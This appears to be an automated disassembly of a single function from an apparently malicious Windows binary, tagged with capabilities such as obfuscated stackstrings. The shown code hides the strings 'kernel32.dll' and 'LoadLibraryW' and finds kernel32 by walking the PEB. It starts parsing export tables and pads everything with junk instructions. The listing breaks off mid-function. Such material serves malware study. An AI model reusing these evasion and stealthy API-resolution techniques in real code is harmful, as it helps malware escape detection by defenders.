Function at 0x47f105
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
inc ebx
inc ebp
dec esi
xor edi, dword [eax]
dec edx
and ebx, 0x169f9
add ebx, 0xff12
pop ebx
push esi
push edi
add esp, 4
and esi, 0xec52
and esi, 0x175b
and esi, 0x14365
pop esi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x47f0dd
push ecx
push esi
add esp, 4
or ecx, 0x4d06
or ecx, 0x15366
jmp 0x47f0f3
pop ecx
push esi
call 0x47f105
add byte [edi + 0x44], al
dec ecx
inc ecx
push eax
dec eax
inc edx
dec ebp
aas
aaa
add esp, 4
or esi, 0x4119
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x47fa28
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
push eax
add esp, 4
and esi, 0x7d47
pop esi
push edx
push ecx
add esp, 4
or edx, 0xaa2f
add edx, 0xe2c8
pop edx
push ecx
sub ecx, 0x11325
add ecx, 0xd407
sub ecx, 0x477d
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push edi
add esp, 4
sub edi, 0x1462d
pop edi
push esi
push edx
add esp, 4
xor esi, 0x2c17
or esi, 0x182f2
pop esi
push esi
and esi, 0x124ac
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0x28ec
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x47f2b3
mov dword [ebp - 0x6ec], 0
jmp 0x47f56f
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
push edx
add esp, 4
sub esi, 0x150ac
pop esi
push ebx
push edx
add esp, 4
jmp 0x47f2de
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x9ff9
xor ebx, 0x111c9
add ebx, 0x12a4b
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x47f30f
mov dword [ebp - 0x6ec], 0
jmp 0x47f56f
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
jmp 0x47f325
sub eax, 0x183ec
pop eax
push edi
sub edi, 0xacf3
pop edi
push edx
push edi
add esp, 4
sub edx, 0x14fb7
jmp 0x47f345
jmp 0x47f34c
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
or edx, 0x11102
sub edx, 0xbd9c
pop edx
push eax
push ecx
add esp, 4
or eax, 0xcca2
xor eax, 0x15301
pop eax
push ecx
push esi
add esp, 4
add ecx, 0x17f40
xor ecx, 0x49e
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
call 0x47f413
add byte [eax + 0x43], cl
inc edi
xor al, 0x43
cmp eax, 0xeb04c483
pop es
cmp bh, byte [esi]
inc eax
dec eax
inc ebp
dec ecx
add edx, 0xfc1e
sub edx, 0x13f3a
pop edx
push edi
push edi
add esp, 4
xor edi, 0xaaf2
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x47f45b
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x47f4be
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x47f37a
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x47f37a
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x47f4a8
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x47f4b2
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x47f507
push eax
sub eax, 0xfe04
or eax, 0x1846b
call 0x47f4e1
add byte [eax], bh
aaa
dec edx
aas
cmp dword [ebp + 0x39], eax
add esp, 4
pop eax
push esi
push esi
add esp, 4
jmp 0x47f4f2
sub esi, 0x11d02
pop esi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x47f56f
push edx
call 0x47f517
add byte [edx], bh
cmp al, 0x34
xor cl, byte [esi + 0x42]
cmp cl, byte [eax + 0x37]
add esp, 4
and edx, 0xa9f3
add edx, 0x112b3
or edx, 0x92bd
pop edx
push eax
push esi
add esp, 4
xor eax, 0xe394
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x47f565
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x47f31b
mov dword [ebp - 0x6ec], 0
push ecx
or ecx, 0x7562
and ecx, 0x14a1f
call 0x47f58b
add byte [edx + 0x4a], cl
inc ebx
dec esp
dec edx
inc edx
cmp eax, 0xc4834d49
add al, 0x81
leave
cli
push 0
add byte [ecx + 0x53], bl
push ebx
add esp, 4
sub ebx, 0xf8f5
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x47f5eb
push ecx
push edi
add esp, 4
or ecx, 0x1507d
call 0x47f5c4
add byte [ebx + eax*2], bh
dec esi
inc ebx
inc eax
inc ecx
cmp edi, dword [ebx + eax*4]
les eax, [ecx + eax*4]
rcl dword [ebx], 0x43
add dword [eax], eax
and ecx, 0xa449
pop ecx
push edx
and edx, 0xcefe
pop edx
mov dword [ebp - 0x738], 0
jmp 0x480112
push ebx
push edi
add esp, 4
jmp 0x47f5f6
and ebx, 0x5618
jmp 0x47f604
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x76ca
sub edi, 0x12975
sub edi, 0x13d41
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x47f65c
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x47f94d
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x47f684
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x47f94d
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x47f6b6
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x47f94d
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x47f6db
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x47f94d
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x47f735